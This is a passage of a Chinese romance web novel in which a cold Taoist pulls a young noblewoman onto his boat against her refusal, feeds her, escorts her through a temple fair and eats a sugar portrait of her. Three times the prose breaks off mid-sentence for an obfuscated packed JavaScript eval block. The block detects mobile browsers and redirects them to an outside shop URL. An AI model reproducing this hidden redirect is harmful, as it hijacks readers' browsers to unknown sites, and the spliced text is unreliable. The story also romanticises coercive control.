《囚卿卿》 1. 莲花坞 晨雾还未散尽,道观后山的莲花坞浸在一片朦胧之中。 贺佑宁在四角亭里歇脚。 她倚着朱漆斑驳的柱子,微微侧首望着亭外无边的莲叶。 乌黑的鬓发间只簪了一支银嵌白玉的簪子,几缕柔软的发丝被水汽洇湿,贴在欺霜赛雪的颈侧。她生得极好,眉是远山黛,眼是秋水瞳,澄澈乌亮,此刻映着满池的绿意,更显眸光流转,顾盼生辉。 身上一袭云烟粉缕金挑线软罗裙,外罩月白杭绸褙子,耳垂上两点米珠坠子,随着她轻缓的呼吸,偶尔在雾中漾出一点极细微的柔光。 丫鬟被她打发去前头买酸梅饮子了。 此刻亭中只她一人,四下静谧,唯有风过莲叶的沙沙声,和远处极飘渺的几声钟磬。 就在这时,寂静的水面忽地传来一声轻响,不大,却清晰地打破了这片安宁。 贺佑宁循声望去,只见亭子正对着的那片茂密莲丛,碧绿肥大的荷叶竟自中间徐徐向两旁分开,仿佛有一双无形的手温柔拨弄。 雾气被搅动,流转翻腾间,一叶窄窄的乌篷小舟无声无息地滑了出来。 船头立着一人。 贺佑宁顿时呼吸便是一窒。 那人一身雪白广袖长袍,衣袂随湖风飘拂,似不染尘埃,仿佛随时会化作云雾散去。 泼墨般的长发未束,倾泻至腰间,衬得那面容愈发清晰得不似真人。 眉骨清峻,像用最淡的墨在雪宣上勾勒而出,不沾世俗,天然出尘,让人不敢久视。 肤色是冷调的白,如同上好的羊脂玉,又似终年积雪的山巅泛着莹光的寒色。 眉眼生得俊极了,只是那双眼睛…… 贺佑宁从未见过那样的眼睛,瞳仁颜色极深,近乎纯黑,却并非纯然的黑,深处仿佛凝着亘古不化的冰,又像藏着能将人魂魄吸进去的漩涡,清冽幽邃,毫无温度。 他就那样静静立在船头,身后是接天莲叶与迷蒙晨雾,周遭却仿佛笼罩着一层隔绝尘世的无形屏障,一身清寂与空明。 贺佑宁眼眸圆睁,脑中一片空白,只怔怔望着那舟上之人。 舟上之人自然也看见了亭中呆立的少女。 他的目光落在她脸上,那冰封般的眸底,极快地掠过一丝几不可察的波澜。 那是一种……意外看到有趣之物的神色。 他忽然动了。 修长如玉的指节随意从身旁掠过,指尖拈住了一支半开的粉色莲苞,然后他轻轻一弹。 那柔嫩的莲花苞划破雾气,带着一缕极淡的香风,不偏不倚,正正打在贺佑宁光洁的额心。 “呀!” 微凉湿润的触感让贺佑宁骤然回神,她轻呼一声,下意识抬手捂住额头,指尖碰到那柔软微凉的花瓣,才看清是何物。 她的脸颊瞬间飞起红霞,既是窘迫于自己的失态,也是因那突如其来、略显轻佻的举动。 她后退了小半步,水润的眸子里染上戒备与无措,望定舟上之人。 只见那白衣公子缓缓收回了手,广袖垂落,依旧是一副不染尘埃的模样。他并未说话,只是朝她伸出了一只手。 那只手骨节分明,手指修长,在晨光雾色中仿佛白玉雕成,掌心向上,是一个邀请的姿态。 贺佑宁心头一跳,连忙摇头,双手在身前轻轻摆着:“不不……多谢……公子美意。我与家人同来,丫鬟片刻便回,实在不便……” 她的声音清越,因着紧张,尾音微微发颤。 那白衣人闻言,脸上那丝疑似兴味的极淡情绪消失了,重新覆上冰冷的漠然。 只是,那漠然之下隐隐透出一丝不耐。 他不再等待。 宽大的袖袍似被无形的风吹拂,微微一荡。 一道细微得几乎无法察觉的银光,自他袖中疾射而出!那银光细若游丝,在浓雾与天光下近乎透明,快得只留下一道模糊的残影,瞬息便至。 贺佑宁只觉腰间蓦地一紧,似被什么冰凉柔韧的东西缠住,尚未反应过来,一股不容抗拒的大力便猛地袭来! “啊——!” 惊呼声脱口而出,她整个人被那力道带得向前踉跄扑去,足下悬空,瞬间脱离了亭子的地面。 紧接着,天旋地转戛然而止。 预想中坠入湖水的沁寒并未到来,她落入了一个带着冷冽清香的怀抱。那香气像是雪后松林的气息,极雅极淡。 她的脸颊撞上雪白色的衣料,触感微凉柔软。男人的一只手臂稳稳环在她的腰后,另一只则扶住了她的肩臂,将她禁锢在一个狭小却牢固的空间里。 隔着薄薄的衣衫,她能感受到那手臂蕴含的力量,以及透过衣料传来的偏低体温。 贺佑宁惊魂未定,浑身僵硬,耳畔是自己如擂鼓般的心跳,以及头顶传来的一缕极轻缓的呼吸声。 她被迫仰起头,咫尺之间,对上了那双深渊般的眼睛。 此刻,那眼眸中的冰冷似乎融化了些许,映着她仓皇失措的脸,漾起一点近乎玩味的微光。 他垂下眼帘看着她,薄唇似乎几不可见地弯了一下,又或许没有,像是雾气造成的错觉。 小舟因这突如其来的重量轻轻晃动,推开一圈圈涟漪,搅碎了满池莲叶的倒影。 乌篷狭窄,两人距离近得让她能数清他低垂的眼睫,根根分明,浓长且密,在冷白的皮肤上投下淡淡的阴翳。 四下唯有水声潺潺,莲香浮动,以及她压抑不住的细微颤抖。 “公子,你为何要这样做?” 贺佑宁有些想挣脱,但男人紧箍着不放,于是她带着微恼和不解问道。 他并没有回答,也没有移开视线,只是更加专注地凝视着她,那双深不见底的黑眸里,映着她清晰缩小的倒影,以及一丝难以解读的专注兴味。 这人好怪呀! 贺佑宁被他看得心慌意乱,脸颊上的热度一路蔓延到耳根,连纤细的脖颈都染上了淡淡的粉色。 她招架不住这般直接又沉默的注视,羽睫急促地颤动了几下,仓皇地垂下了眼眸,盯着自己被他揽住而微微蜷起的指尖。 沉默在狭小的船头蔓延,只有水波轻拍船身的细微声响。 “饿了么?” 他忽然开口,声音并不如想象中冰冷,反而低沉悦耳,像质地极佳的玉石轻轻相叩,只是语调平直,听不出什么情绪。 贺佑宁正心乱如麻,冷不防被问及这个,下意识地摇头,声音轻得几不可闻:“不…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155014|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不饿。” 然而,她的回答似乎并不重要。 那只一直扶在她肩臂上的手松开了,向下滑去,极其自然地握住了她微凉的手。 “随我来。” 贺佑宁浑身一僵,指尖蜷缩,想要抽回,却被那温热而有力的手掌不容置疑地包裹住。他的手比她的大了许多,指腹和掌心带着薄茧,触感分明,与她柔软细腻的手截然不同。 这是她生平第一次,被父亲与兄长之外的男子这般亲密地牵住手。 一种陌生而强烈的悸动顺着相贴的肌肤窜上来,她懵懵懂懂地被他牵着,脚步虚浮地跟着他,从船头走向那低矮的乌篷。 船篷内陈设简单,只有一张小小的木几和两个蒲团。几上置着一套素白的瓷壶瓷盏,并一个荷叶状的琉璃碟,里头盛着几块精致的糕点和几支新剥的莲蓬。 他引她在蒲团上坐下,自己则在她对面落座,姿态随意却依旧透着一种刻入骨子里的优雅。 他拈起一支莲蓬,手指灵活地剥开翠绿的外皮,取出里面嫩生生的莲子,又仔细剔去了中央青碧的莲心。做完这些后,他将那颗莹白如玉、饱满圆润的莲子递到她唇边。 “我……”贺佑宁面红耳赤,侧脸想避开,“我不想吃,公子你吃……” 她的拒绝轻飘飘的,毫无分量。 他的手并未收回,也没有开口强迫,只是稳稳地停在那里,指尖几乎要碰到她柔软的唇瓣。 他的目光静静地落在她脸上,带着一种不容置疑的耐心,仿佛在等待她自己同意。 时间一点点流逝,他举着莲子的手纹丝不动。那近在咫尺的手指,修长洁净,指甲修剪得圆润整齐,带着一种无声的压力。 贺佑宁被他看得浑身不自在,心脏在胸腔里胡乱撞着,最终,还是在那沉默而坚持的注视下,败下阵来。 她极快地张开嘴,轻轻含住了那颗莲子。不可避免地,微凉的指尖轻轻擦过了她的下唇。 莲子清甜,带着新摘的鲜嫩水汽,可她却几乎尝不出味道,全部的感官都集中在了方才那一触即逝的接触上。 见她吃了,他似乎很满意,那眼底的冷淡似乎又化开了些许。 他收回手,又用竹夹从琉璃碟中夹起一块粉色的荷花酥,再次递到她嘴边。 这一次,贺佑宁的抵抗微弱了许多,迟疑片刻,还是就着他的手,小口咬下。酥皮簌簌落下,内里的豆沙馅甜而不腻。 他喂得不快,一块糕点,分作两三口。喂完,又执起白瓷壶,斟了半盏清茶,自己先试了试温度,才将杯盏递到她唇畔。 贺佑宁就着他的手,啜饮了一小口,温热的茶水滑入喉中,稍稍安抚了她过于紧绷的神经。 就这样,他耐心十足地一点点投喂着。糕点、莲子、清茶……她像一只被精心喂养的小兽,在他沉默而专注的照料下,被动地接受着这一切。 船舱内安静极了,只有她细微的咀嚼声,和他偶尔斟茶时细微的水声。外界的雾气、莲香、隐约的庙会喧嚷,都被这小小的乌篷隔绝开来,仿佛天地间只剩下这一叶扁舟,和舟中这诡异又莫名和谐相对的两人。 他看着她渐渐润上水意愈发嫣红的唇瓣,眼神幽深,那专注的兴味,似乎更浓了些。 2. 跟随 贺佑宁咽下最后一口清甜的茶,唇齿间还残留着淡淡的荷香与糕点的酥润。 贺佑宁悄悄抬眼,觑了一下对面静坐的男人,他依旧那副不染尘埃的模样,只是目光始终未曾离开她,看得她心尖发颤。 她鼓了鼓勇气,声音比蚊蚋大不了多少:“……多谢公子款待,只是我该回去了。丫鬟要是找不到我,会着急的。” 说完,她便想站起身。 “不急。”他的声音平静无波,两个字便轻易按住了她的动作。 他抬手指了指船舱外某个方向,透过摇曳的竹帘缝隙,可见莲叶更显稠密,“前面有这里开得最好的一片莲花,等看完便送你回去。” 说完后,他的目光落回她带着忐忑与急于离开神色的脸上。 这话语本身并无强迫之意,甚至带着一丝商量的余地,可从他口中说出来,配上那不容置疑的神情,便成了某种既定的事实。 贺佑宁犹豫了。 她有点想尽快离开这诡异又令人心慌的境况,回到丫鬟和家人身边去。但是她又隐隐觉得,他不会轻易放她走。 她只能暗自祈祷,他生得这样好看,举手投足间虽然有些奇怪,但应该……不会害她吧? 这念头毫无根据,甚至有些天真,可看着他那张谪仙般的脸,这荒谬的笃定竟悄然生根。 她咬了咬下唇,终究是轻轻点了点头,细声应道:“……好。” 事实上,似乎也容不得她拒绝呢…… 乌篷小舟再次无声滑入莲叶深处,他未再执篙,小舟却似有灵性般自行破开绿波。贺佑宁偷偷从帘隙望出去,起初还忐忑地记着来路,但很快便被周遭愈发茂盛绮丽的景色吸引了心神。 雾气在不知不觉间散去了大半。 正当小舟穿过一道由高大莲叶天然形成的屏障时,眼前豁然开朗。 太阳恰好在此刻从云层后探出了头,淡金色的光芒并不刺眼,温柔地铺洒下来。天空被洗练成一种近乎透明的澄澈浅蓝,几缕薄云染上金边。 而下方是一眼望不到边际的莲花海。 这里的莲花似乎与外间不同,品种更珍奇,色彩更秾丽。深深浅浅的粉色,从娇嫩的淡粉到艳丽的霞光红,层层叠叠。 纯白的莲花瓣尖染着淡淡青碧,如玉雕冰琢。更有罕见的淡金与浅紫,在日光下流转着梦幻般的光泽。荷叶田田,大如翠盖,露珠在叶心滚动,折射出七彩的光芒。 风过之处,万千莲盏随风轻曳,簌簌作响,香气馥郁却不甜腻,清远袭人。 水面被阳光镀上一层碎金,莲花的倒影与真实的花朵交错,虚虚实实,恍若梦境。偶尔有锦鲤跃出,鳞片闪耀,溅起的水珠也似金珠玉粒。 贺佑宁看呆了。 她从未见过如此盛大而绚烂的莲花景象,一时间忘了身处何地,也忘了身旁那个令人不安的男人。 她不由自主地站起身,走到船头,扶着低矮的篷沿,微微睁大了眼,眸子里映满了天光云影和玉瓣金蕊,纯粹的惊叹与欢喜染亮了她整张小脸。 她无意识地向前倾了倾身子,想要更近地触碰那近在咫尺的美好。 李清述坐在舱内蒲团上,姿态闲适,目光落在那片灼灼其华的莲池上,随后又很快移回,定定瞄准她的背影。 日光勾勒出她纤细的轮廓,云烟粉的衣裙与周遭的莲色几乎融为一体,却又因那抹独属于少女的鲜活生气而脱颖而出。 她鬓边的碎发被微风拂动,白玉耳坠轻轻摇晃。看花十分专注,全然不设防,透着一种不谙世事的柔软与纯然。 他静静地看着,脸上没什么表情,只是那双深渊般的眸子里,映着她被阳光镀上柔光的侧影,以及满池绚烂的莲花。 那眸光深处,某种幽暗难以名状的情绪,似乎悄然浓重了一分,与这明媚绝伦的景色,形成一种微妙而危险的对照。 船头静默,只有风过莲叶与水流潺潺的声响。 贺佑宁还沉浸在这片令人屏息的莲海美景中,忽然,身旁传来男人的声音,“好看吗?” 一道白色的身影悄然伫立,他已不知何时起身来到了她旁边。 贺佑宁下意识回答道:“好看!” 男人唇边弯起一丝隐隐的笑意。 他微微俯身,伸手探向船边一枝并蒂而生的莲花。那莲花一茎双花,一粉一白,粉的娇艳欲滴,白的清冷如雪,相依相偎,在阳光下美得异常瞩目。 他的手指拂过花茎,并未用力折断,只是指尖似有微不可察的气流掠过,那枝并蒂莲便已稳稳落在他掌心。花瓣上还带着剔透的露珠,在他冷白的指间愈发显得鲜妍。 他转过身,将花递到她面前。 贺佑宁怔住了,看看花,又看看他。 那双深不见底的眼眸此刻正看着她,没什么温度,但里面专注凝神的情绪却让她心跳不由得漏了一拍。 她迟疑着,缓缓伸出手,指尖触碰到微凉湿润的花茎。 “谢……谢谢。”她轻声道。 李清述没有回应这句道谢,只是收回了手,目光在她捧花低嗅的侧脸上停留了一瞬。 然后便陪着她一起赏花。 风吹过,拂起他乌黑的发丝,逐渐靠近贺佑宁,慢慢与她的青丝触碰纠缠在一起。 许久后,李清述淡淡道:“要回去吗?” 贺佑宁点头:“好!” 小舟调转方向,沿着来路返回。回去的速度似乎快了些,不多时,那僻静的四角亭和熟悉的岸影便出现在了眼前。 船刚靠岸,还未停稳,一道灰色的身影如同鬼魅般悄无声息地出现在岸边树下,躬身垂首,手中捧着两样东西。 是一个青年男子,相貌普通,衣着灰扑扑毫不惹眼,但周身透着一种沉静利落的气息。 他手中捧着的,是两张制作精良的面具。 一张是玄色为底,勾勒出狰狞威严的麒麟兽面,金线描边,在日光下泛着冷硬的光泽。另一张则是雪白的,做成了一只蜷缩着的、耳朵长长的小白兔模样,眼珠处用了点红宝石般的材质,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155015|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得憨态可掬,与那麒麟面具形成鲜明对比。 李清述先拿起那张麒麟面具,覆在自己脸上。冰冷的质地贴合皮肤,只露出那双幽深的眼和线条优美的下颌。然后,他拿起那张小白兔面具,转向还有些怔忡的贺佑宁。 “抬头。” 贺佑宁下意识照做。 他靠近一步,身上那股浅淡的冷香再次笼罩下来。 他动作不算特别轻柔,却异常稳妥地将那白兔面具戴在了她脸上,细绳在她脑后系好。面具内侧不知衬了什么,柔软贴合,并不难受,只是视野被局限在小小的眼孔中,鼻尖萦绕着新木和颜料混合的淡淡气味。 戴好后,他退开半步,目光透过麒麟面具的眼孔,打量着她。雪白的面具遮住了她大半张脸,只露出一双清澈含疑的眼眸和柔嫩的唇瓣,捧着并蒂莲的样子,倒真像一只误入人间的怯生生小兔。 “这……”贺佑宁不解,疑惑地望着他。 她以为上岸便是分别,他为何要给她戴上面具?还是两个人都一起戴上? “我也要去看庙会。” 他似乎总能轻易看穿她的心思,言简意赅地给出了答案,语气理所当然,仿佛这是再自然不过的安排。 好吧…… 贺佑宁一时语塞。 面对这张覆着麒麟面具、气息凛然的身影,所有拒绝的话都堵在了喉咙里。 她默默低下头,算是默许。 李清述不再多言,转身便朝庙会方向走去,步伐不疾不徐。 贺佑宁捧着花,保持着两三步的距离。 那灰衣暗卫早已不知隐没到了何处。 庙会果然热闹非凡,比清晨来时喧嚣了数倍。人流如织,摩肩接踵,吆喝声、谈笑声、锣鼓声混杂在一起,充满了鲜活的烟火气。 戴着麒麟面具的李清述走在前头,身高腿长,气质冷峻,即便遮住了脸,那份无形的气场也让拥挤的人群下意识地为他分开些许空隙。 贺佑宁跟在他身后,戴着白兔面具,倒少了许多被人打量窥视的窘迫,渐渐也被这热闹感染,好奇地左右张望。 他虽不说话,却似乎对庙会颇为熟稔。时而停在某个摊位前,拿起一件小玩意看看,然后便直接付钱拿走。 泥塑的胖娃娃、草编的蚱蜢、绘着花鸟的油纸伞、叮咚作响的风铃……不多时,他的手中便多了几个小巧的包裹。 走到一个卖糖画的摊子前,他驻足。 老师傅手法娴熟,金黄的糖丝飞舞,顷刻间便勾勒出一只活灵活现的小兔子。他示意了一下,那糖画小兔便被递到了贺佑宁面前。她愣了一下,小声道谢接过,舔了一小口,甜蜜的滋味在舌尖化开。 之后是热气腾腾的梅花糕、撒着芝麻的酥脆炸果子、用荷叶包着的清香糯米藕……他总能精准地找到那些看起来最可口的小食,每样只买一点,递给她。 贺佑宁起初还矜持推拒,后来在他沉默而坚持的注视下,也渐渐放开,小口小口地品尝起来,面具下的眼睛弯成了月牙。 3. 糖画 就这样,一路走走停停,吃吃看看,竟有种仿佛结伴同游的奇异错觉,不过似乎事实也的确如此? 贺佑宁手中的并蒂莲被小心地拿着,糖画小兔早已吃完,只剩下光溜溜的竹签。 不知不觉,他们来到了庙会相对僻静的一角,这里人少了许多,摊位也不再是吃喝玩物,而是些算命测字、看相解签的。 一个须发皆白的老者坐在一张简陋的木桌后,桌上铺着青布,摆着签筒、卦盘等物,旁边立着幌子,上书“铁口直断”四字。 李清述的脚步在这里停了下来。 他侧头,目光似乎掠过贺佑宁,又似乎没有,对着空气极其细微地颔首了一下。 一直如影子般跟随在侧后方人群中的灰衣暗卫,几不可见地点了点头,随即身影一晃,便融入了旁边一条更窄的巷子。 李清述这才转向贺佑宁,目光落在她手中的并蒂莲上,又抬起,看向那签摊,淡声道:“想求签吗?” 贺佑宁正打量着那看起来仙风道骨的老者,闻言心中微动。 她毕竟年纪尚小,对这占卜问卦之事,还是有几分好奇与隐秘期待的。 于是她点了点头,走到签摊前,略显拘谨地坐下。 老者抬起浑浊却似乎透着精光的眼,看了她一眼,又扫过她身后不远处负手而立、气场冷冽的麒麟面具男子,什么也没问,只将那个深褐色的竹制签筒推到贺佑宁面前。 “姑娘,心有所问,静心摇之即可。” 贺佑宁双手捧起签筒,入手沉甸甸的。她闭上眼,深吸一口气,脑海中纷乱掠过往日种种。 手腕轻轻摇晃签筒,竹签碰撞,发出哗啦啦的清脆声响。 不多时,“啪”一声轻响,一支竹签跳了出来,落在青布之上。 贺佑宁睁开眼,放下签筒,先看了一眼那签,只见上面刻着“上上大吉”的字样,下面还有一行小字。 她心中稍安,将竹签递给老者。 老者接过,眯着眼看了看签文,又抬眼仔细端详了一下贺佑宁露出来的一部分脸,以及她下意识握紧的并蒂莲,再不着痕迹地瞥了一眼她身后仿佛与周遭隔绝开的男子。 他捋了捋胡须,声音苍老却清晰:“恭喜姑娘,此签甚佳。乃是‘花开并蒂,凤宿同林’之象。” 贺佑宁心头一跳。 老者继续慢悠悠道:“签文有云:‘莲生浊水自清华,偶遇天风拂影斜。莫道云泥相隔远,赤绳早系碧桃花。” 他顿了顿,看向贺佑宁,意有所指般道:“姑娘今日,是否偶遇非凡之人?看似云泥殊路,实则缘分早定。此签主姻缘天成,佳偶必合,乃是万里挑一的天作之合,命中注定的鸾凤和鸣。姑娘心中所疑所虑,不过是镜花水月,良缘已在眼前,只需顺应天命即可。” 每一个字都像小锤,轻轻敲在贺佑宁心坎上。 这些词句,与她今日经历、与身后那人、与她手中并蒂莲,竟然隐隐一一对应! 她顿时感到些不许自在,幸亏有面具遮掩,才不至于失态。 心里乱糟糟地搅成了一团。 她不敢回头去看那麒麟面具下的眼睛,只觉耳根都烧了起来,匆匆谢过老者,几乎是有些慌乱地站起身。 李清述一直静静站在她身后三步之遥,将她所有的细微反应尽收眼底。 看着她因解签之语而骤然僵硬的肩膀,看着她无意识摩挲并蒂莲花茎的小动作,看着她连耳垂都染上绯色的窘迫。 麒麟面具之后,那双幽深的眼眸,掠过一丝极淡的笑意。 他什么也没说。 在她起身之后,自然地继续朝前走去。仿佛刚才那支牵动人心魂的签文,与他毫无干系。 贺佑宁的脚步有些虚浮,心跳得比任何时候都要响亮,那支“上上大吉”的签文,如同烙印般深深烫在了她的心头。 周遭庙会的喧嚣仿佛隔了一层纱,变得朦胧而不真切,唯有身旁那月白色身影和玄色麒麟面具,无比强烈地存在于视野之中。 “公子……”她声音细弱,带着不确定,“方才那签文……” 她不知该如何问下去,难道直接问:“你和我真的是天作之合吗?” 这有些羞人了。 李清述装作没有察觉她的窘态。 贺佑宁深吸了一口气,指尖微微捏紧了花茎。她转过脸,仰头望向他冷硬的面具侧影,决定换一个问题。 “还未请教公子尊姓大名?” 是的,直到现在,他们依然还没有交换姓名…… 李清述缓缓侧过身,麒麟面具的眼孔后,那双深不见底的眸子落下来,定在她因紧张而微微睁大的眼睛上。 面具遮挡了他的表情,但贺佑宁能感觉到他的目光正在她脸上逡巡。 紧接着他开口了,声音依旧低沉悦耳,透过面具传来,多了几分沉闷,却依旧清晰:“玄明。” 他顿了顿,补充:“我的道号。” 道号?贺佑宁一愣。 他是……道士? 这个认知让她有些愕然,一个出家人?那签文所说的“良缘”、“天作之合”……还算数吗? 李清述似乎知道她在想些什么。 他缓缓开口道,每一个字都清晰入耳,“我所在的道派,不禁婚娶。” 不禁婚娶。 原来如此,原来他不是那种需要严守清规戒律的出家人…… 贺佑宁呆呆地“哦”了一声,一时间不知该作何反应。 她正暗自思忖,便见他的目光似乎更专注地锁定了她,反问道:“你呢?你叫什么名字?” 贺佑宁抬起头,轻声答道:“贺佑宁。” “贺、佑、宁。” 他一字一顿地重复了一遍,念得很慢,像是在品味这个名字的意味。 每个字从他唇间吐出,都仿佛被那低沉的嗓音浸染过,带上了某种奇异的重量和热度,敲在她的心上。 “是个好名字。” 他最后说道,语气依旧平淡,却含着淡淡的赞意。 “公……道长,吉签的事情你怎么看?” 贺佑宁微微低头,有些赧然道。 李清述唇边噙着一抹意味不明的笑,“顺其自然,该发生的事情自然会发生,无人能阻挡的了,不是吗?” “嗯……”贺佑宁有些不知如何回答。 就在他们之间的气氛十分微妙之时,前方人群忽然一阵扰动,传来几声带着焦急的呼唤,由远及近: “岁岁——!” “佑宁——!” 贺佑宁浑身一僵,循声望去,只见她的兄长贺长珩和姐姐贺瑾安正拨开人群,一脸急切地朝这边张望寻找。 兄长眉头紧锁,阿姐则是满脸忧色,显然找了她许久。 “哥哥!阿姐!”贺佑宁下意识喊出声,下意识朝兄姐迎去。 贺长珩和贺瑾安听到声音,立刻锁定她的位置,疾步走了过来。 贺长珩先是一把抓住她的手腕,上下打量,见她衣着整齐,并没有不妥之处,才松了口气,随即眉头皱得更紧:“岁岁,你跑哪里去了?青果那丫头哭得什么似的,说一回头你就不见了!这庙会人多眼杂,你怎能独自乱跑?急死我们了!” 贺瑾安也上前拉住她另一只手,声音里满是后怕:“可算是找着了,没事就好,没事就好。” 兄妹二人关切之下,这才注意到贺佑宁并非独自一人。 她身后两三步远,静静立着一个身量极高的男子,一袭素白衣袍,脸上覆着一张威严肃杀的玄色麒麟面具,通身散发着一种生人勿近的冷冽气息,与这热闹的庙会格格不入。 而他,似乎一直与自家妹妹同行。 贺长珩眼神一凝,将贺佑宁往自己身后带了带,目光警惕地看向李清述,语气转为客套而疏离:“这位公子是……?方才可是与舍妹同行?” 贺佑宁的心一下子提了起来。她张了张嘴,却不知该如何介绍。 说他叫玄明?可这名字是真是假她尚且不知。说与他在莲花坞偶遇,强行邀她上船看花,还一同逛了庙会?这听起来……更不妥了。 她脸颊发烫,嗫嚅着,竟一个字也说不出来。 李清述却仿佛没听到贺长珩的询问,也没有任何要解释或寒暄的意思。他只是站在那里,身姿挺拔如竹,麒麟面具后的目光,越过了满脸戒备的贺长珩和疑惑的贺瑾安,精准地落在贺佑宁脸上。 贺长珩见他不答,周身气度又绝非寻常之辈,心中警惕更甚,但碍于礼数,也不好直接发作,只是将贺佑宁护得更紧了些,语气也冷了几分:“公子?” 李清述终于有了反应,缓缓开口说道:“她迷路了,我送她回来。” 贺长珩闻言,眉头并未舒展。 这话说显然不足以打消他的疑虑,他转头看向贺佑宁,问道:“岁岁,是这样吗?” “嗯。”贺佑宁点头,然后趁他们不注意,悄悄瞪了李清述一眼。 李清述见状,低低一笑。 面上少了几分不近人情,多了几分生动之章。 贺长珩还欲再试探一番。 但李清述却已转过身,似乎不愿再多言,他的目光最后掠过贺佑宁,视线在她的身上停留了极其短暂的一瞬,随即便抬步欲走。 “公子留……” 然而,李清述并不理会他,雪白色的身影如一滴水汇入河流般,悄无声息地没入了涌动的人潮之中,再也不见踪迹。 贺佑宁怔怔地望着他消失的方向,手心握着的那支并蒂莲,花瓣边缘在阳光下泛着柔润的光泽。 兄长贺长珩带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155016|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着疑惑和审视的询问声在耳边响起:“岁岁,那人到底是谁?你们如何相识的?他……” 贺佑宁恍然回神,转过头,迎上兄姐关切又带着忧心的目光,却不知从何说起。 最终,她只是摇了摇头,轻声道:“哥哥阿姐,不必再问了,约莫这人我们以后再也不会见到了。我们先回去吧。” 她可能以后再也不会来这道观参加庙会了。 罢了,贺长珩只好放弃,只要人平安无事就好。 贺佑宁被兄姐半是责备半是后怕地簇拥着离去。 正准备乘上马车时,忽然听见身后传来一道声音:“这位小姐,请等等……” 贺佑宁等人回头,便看见一位中年妇人朝他们小步奔来。 她在他们面前停下,平复了一下气息,然后说道:“小姐,你刚刚买的东西忘记拿了……” 她说着,将手上的东西呈到他们面前,赫然是刚刚李清述手上提着的几个小巧包裹。 “我……”贺佑宁刚想开口拒绝,想了想,为了避免多生事端,便道:“青果,你替我拿着。” 罢了,左右都是一些不值钱的小玩意儿。依他那霸道性子,若是她不收下,只怕今日是走不了了。 “是,小姐。”青果上前接过。 …… 庙会另一端,一处相对僻静的转角,李清述停下了脚步。 灰衣暗卫如同从阴影中析出般悄然现身,垂手侍立。 李清述并未看他,只是缓缓走向不远处一个卖糖画的摊子。 摊主是个精瘦的中年人,正埋头熬糖,见到客人,忙堆起笑脸招呼:“公子,画个什么?龙凤呈祥、鲤鱼跃门,还是俏皮些的猫儿狗儿?” 李清述没有应声。 他的目光扫过摊位上那些琳琅满目的糖画成品,掠过憨态可掬的兔子、威风凛凛的老虎,最后,落在那块光可鉴人的大理石板和温着的金红糖浆上。 “我自己来。”他的声音不高,却带着一种不容置疑的意味。 摊主一愣,觑了觑李清述的通身气派,不敢再多问,连忙让开位置,将温糖的小铜锅和舀糖的铜勺恭敬递上:“公子您请,糖浆正好,小心烫手。” 李清述挽了挽雪白的袖口,露出一截冷白劲瘦的手腕。他执起那把小小的铜勺,探入锅中,舀起一勺浓稠滚烫、金红透亮的糖浆。糖浆拉出细长黏稠的丝,在阳光下闪烁着琥珀般的光泽。 他没有使用任何现成的模子,也没有画那些约定俗成的图案。他只是垂着眼,看着光洁的石板,手腕悬空,稳定得没有一丝颤抖。 铜勺微倾,滚烫的糖浆如一道极细的金线,精准地落在石板上。他手腕极其细微地移动、勾勒、转折。 起初看不出形状,但随着糖线交织堆积,一个轮廓渐渐清晰。 那是一个少女的侧影。 线条简洁,却异常传神。微微低垂的颈项弧度,纤细柔美。一绺仿佛被风吹拂起的鬓发,俏皮地弯着。然后是秀挺的鼻,柔软微抿的唇瓣,以及……那双眼睛的轮廓。 他没有画出瞳孔,但那眼型的弧度,睫毛细密的暗示,竟与贺佑宁戴着白兔面具时,露出的那部分眉眼惊人地神似。甚至,糖浆勾勒的衣裙线条,也依稀是云烟粉软罗裙的流线。 摊主在一旁看得目瞪口呆,他从未见过有人能用糖浆画出如此生动、如此……带着鲜活气息的人像,且还是个年轻女子!这需要何等的控制力与……专注? 李清述画得极快,却又极其细致。 最后一笔收尾,是一个捧在“少女”手中的小小莲花轮廓,并蒂双生,与贺佑宁一直拿着的那枝遥相呼应。 糖浆在石板上迅速冷却凝固,从闪亮的金红变为温润的琥珀色,泛着甜蜜的光泽。一个栩栩如生、仿佛下一秒就要从石板上走下来的糖画“贺佑宁”便完成了。 李清述放下铜勺,指尖在微凉的勺柄上停留了一瞬。然后他伸出手,小心地取了下来,接着将其举到眼前,对着光仔细端详。 不错,还是挺像的。 然后他低下头咬了一口,发出极其细微的“咔嚓”声,甜腻的滋味瞬间在口腔弥漫开。 他吃得不急不缓,慢慢咀嚼。 一口一口,精准而有序,将那糖画少女的轮廓一点点吞噬,纳为己有。 糖浆在舌尖的温度下缓缓融化,口中只余下缠.绵的甜,李清述的喉结极轻地滚动了一下。 